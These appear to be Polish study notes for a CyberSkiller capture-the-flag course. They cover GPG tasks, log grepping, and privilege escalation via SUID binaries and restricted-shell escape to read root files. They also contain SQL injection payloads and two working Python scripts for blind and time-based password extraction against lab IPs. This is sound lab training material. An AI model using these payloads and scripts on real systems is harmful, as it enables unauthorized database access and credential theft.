#### 2121Funkcja skrótu SHA3 1

#### Łamanie skrótu MD5 metodą słownikową

#### Odszyfrowanie pliku szyfrem AES

#### Kod uwierzytelniający HMAC

#### Algorytm PBKDF2 z niestandardową liczbą iteracji

#### Identyfikacja algorytmu szyfrującego

#### Szyfrowany plik Zip

**Generowanie kluczy RSA**

<https://www.youtube.com/watch?v=18q1WOcyzWM>

#### Generowanie kluczy na krzywych eliptycznych

#### <https://www.youtube.com/watch?v=JpFwTpIubBo>

#### Szyfrowanie kluczem publicznym

#### <https://youtu.be/bR74jBpT2G0>

#### Certyfikat na podstawie zapytania

#### <https://youtu.be/CCimhx4Qe8o>

#### Generowanie klucza PGP

#### <https://youtu.be/77PLPCd250g>

gpg --gen-key

Jako imię i nazwisko wklejamy tekst z zadania

Dowolny adres email

Wybieramy dalej

gpg --export --armor „tekst z zadania”

#### Szyfrowanie za pomocą klucza PGP

Wklejamy klucz z zadania do pub.pem

gpg --show-key pub.pem

gpg --import pub.pem

echo -n „text z adania| gpg --encrypt --armor --recipient contact@cyberskiller.com

#### <https://youtu.be/7pyJb6hy1eo>

#### Odszyfrowanie za pomocą klucza PGP

#### <https://youtu.be/0oxzn0b75KY>

gpg --gen-key

Wpisujemy dowolne dane

Email np test@cyberskiller.com

Ustawiamy hasło

gpg --export --armor [test@cyberskiller.com](mailto:test@cyberskiller.com)

Jako odpowiedź wklejamy wygenerowany klucz publiczny

Dostajemy PGP MESSAGE

Wklejamy ją do data.enc

Wpisujemy:

gpg --decrypt data.enc

#### Automatyczne wylogowywanie

#### <https://youtu.be/7gF8aXn0N5M>

#### ssh -l alice

#### ssh -l alice [host\_ip] "cat secret.txt"

#### Dostęp do plików należących do użytkownika root

#### <https://youtu.be/1DISmbatA2A>

#### cd archive

#### ./file

#### ../root/secret.txt

#### Podwyższenie uprawnień użytkownika

#### <https://youtu.be/PKY6ULiuXug>

#### find / -perm /6000 2>/dev/null

#### php7.4 /root/secret.txt

#### Inna powłoka niż Bash

#### <https://youtu.be/9vUhS8QU1hI>

#### cat /etc/passwd

#### cd /usr/bin/

#### cat bob

#### cd ~

#### ls -la (-> bob\_key.pem)

#### ssh -l bob localhost -i bob\_key.pem ( na zmniejszonym oknie terminala by zatrzymać działanie programu ‘more’)

#### klawisz ‘v’

#### : e secret.txt

#### Usunięty plik

#### <https://youtu.be/n6bWUYs8qMw>

#### ps -x ( lub ps -aux)

#### szukamy w /proc danego PIDa i lecimy do /fd

#### Analiza logów z konkretnego zakresu czasowego

#### <https://youtu.be/cz1N_5UT9PI>

#### cd /var/log

#### cat audit.log | grep -e "08:0[0-2]:[0-5][0-9]"

#### Analiza logów konkretnej usługi

#### <https://youtu.be/uHVRAqXXxAE>

#### cd /var/log

#### cat audit.log | grep -e "vsftpd\|ftp\|xinetd"

#### Analiza udanych prób logowania się na SSH

#### <https://youtu.be/EiLWkwlr-WI>

#### cd /var/log

#### cat audit.log | grep -e "sshd.\*invalid"

#### Analiza wielu nieudanych prób logowania się na SSH

#### <https://youtu.be/Wo9RXZpXjdQ>

#### cd /var/log

#### cat audit.log | grep -e “user\_”

#### Klasyczna podatność SQL Injection

#### <https://youtu.be/3mpgwnGc4Q4>

#### login: CyberSkiller” -- [dowolny znak] (po loginie wpisujemy ‘”’(cudzysłow lub apostrof) + [spacja] + “--” + [spacja] + [dowolny znak] (dowolny znak bo czasem na w formularzach walidacja nie pozwala pisac bialego znaku na koncu)

#### [spacja]--[spacja] to jest komentarz w zapytaniach SQL

#### Odczyt schematu bazy danych

#### <https://youtu.be/j3v2oMuK3kc>

#### 10.0.56.171/?query=" union select table\_name from information\_schema.tables -- a

#### Podatność SQL Injection typu Blind

#### <https://youtu.be/6tFDstB0s6w>

#### 10.0.58.55/?query=XXXX" union select password from users where username = 'CyberSkiller' and password like 'C%' -- b (XXX – to jakis tekst bo nie wiemy w którym momencie odcinanie jest zapytanie sql po pierwszym ‘”’. Wtedy mamy pewność, że całę wyrażenie będzie wżiete pod uwagę.

import requests  
  
URL = 'http://10.0.58.55/?query=10.0.58.55%2F%3Fquery%3DXXXX"+union+select+password+from+users+where+username+%3D+%27CyberSkiller%27+and+password+like+%27C{}%25%27+--+b'  
  
password = ''  
#search for the letter  
# alphCharStart = 'A'  
# numOfLetterInAlphabet = 26  
# for i in range(numOfLetterInAlphabet):  
# print(alphCharStart)  
# print(URL.format(alphCharStart))  
# r = requests.get(URL.format(alphCharStart))  
# if 'This title (or similar) does exist in our database' in r.text:  
# password = alphCharStart  
# break  
# alphCharStart = chr(ord(alphCharStart) + 1)  
#search for nums  
n = 10  
password = ''  
for k in range(n):  
 for i in range(10):  
 r = requests.get(URL.format(password + str(i)))  
 if 'This title (or similar) does exist in our database' in r.text:  
 password += str(i)  
 break  
print(password)

#### Podatność SQL Injection typu Time Based

#### <https://youtu.be/vDiP4yjhU6M>

#### select sleep(5)

#### XXXX" union select if(password like 'CS%', sleep(5), "A") from users where username = 'CyberSkiller' – a

import time  
import string  
import requests  
  
  
def check\_password(password):  
 URL = 'http://10.0.78.11/?query=XXXX"+union+select+if%28password+like+%27CS{}%25%27%2C+sleep%281%29%2C+"A"%29+from+users+where+username+%3D+%27CyberSkiller%27+--+a'  
 url\_with\_password = URL.format(password)  
  
 start\_time = time.time()  
 requests.get(url\_with\_password)  
 end\_time = time.time()  
  
 return (end\_time - start\_time) > 1  
  
  
password = ''  
while True:  
 found = False  
 for i in string.ascii\_uppercase + string.digits:  
 if check\_password(password + i):  
 password = password + i  
 found = True  
 break  
 if not found:  
 break  
print(password)

#### Podgląd nagłówków odpowiedzi

#### <https://youtu.be/-6K7SqADd2s>

#### Manipulowanie parametrami HTTP

#### <https://youtu.be/0VoR903FNqk>

#### ?id=6

#### Automatyczny skan aplikacji

#### <https://youtu.be/R5cjc2nEgU4>

#### odpalamy OWASP -> Automatyczne skanowanie -> wpsujemy url, zaznaczamy Sidera ->

#### wyszukujemy url ze sćieżką /robots.txt i sprawdzamy response i odczytujemy kod.

#### Modyfikacja żądań HTTP

#### <https://youtu.be/0vP1NliWQhE>

#### firefoxem (opera nie działała) wysyłamy zmieniony nagłówek przez inspectora i szukamy flagi z odpowiedzią

#### Powtarzanie żądania HTTP

#### <https://youtu.be/S_gVNlVh1QM>

#### (chyba z firefoxa wystarczy od razu jeden request zrobić) a jak nie to odpalić burpa -> załączyć proxy w firefoxie -> wysłać żadanie -> dodać w burpie przechwycone rządanie do repeatera i tam jeszcze raz wysłać żądanie

#### Wyszukiwanie właściwej wartości parametru metodą siłową

#### <https://youtu.be/yW_ZCp0OpIE>

#### odpalamy OWASP -> manual explorer -> wklejamy url, odhaczamy ‘Enbable HUD’ i odpalamy -> szukamy żądania z najmniejszym rozmiarem response body (1615b) i tam powinna być odpowiedź z secret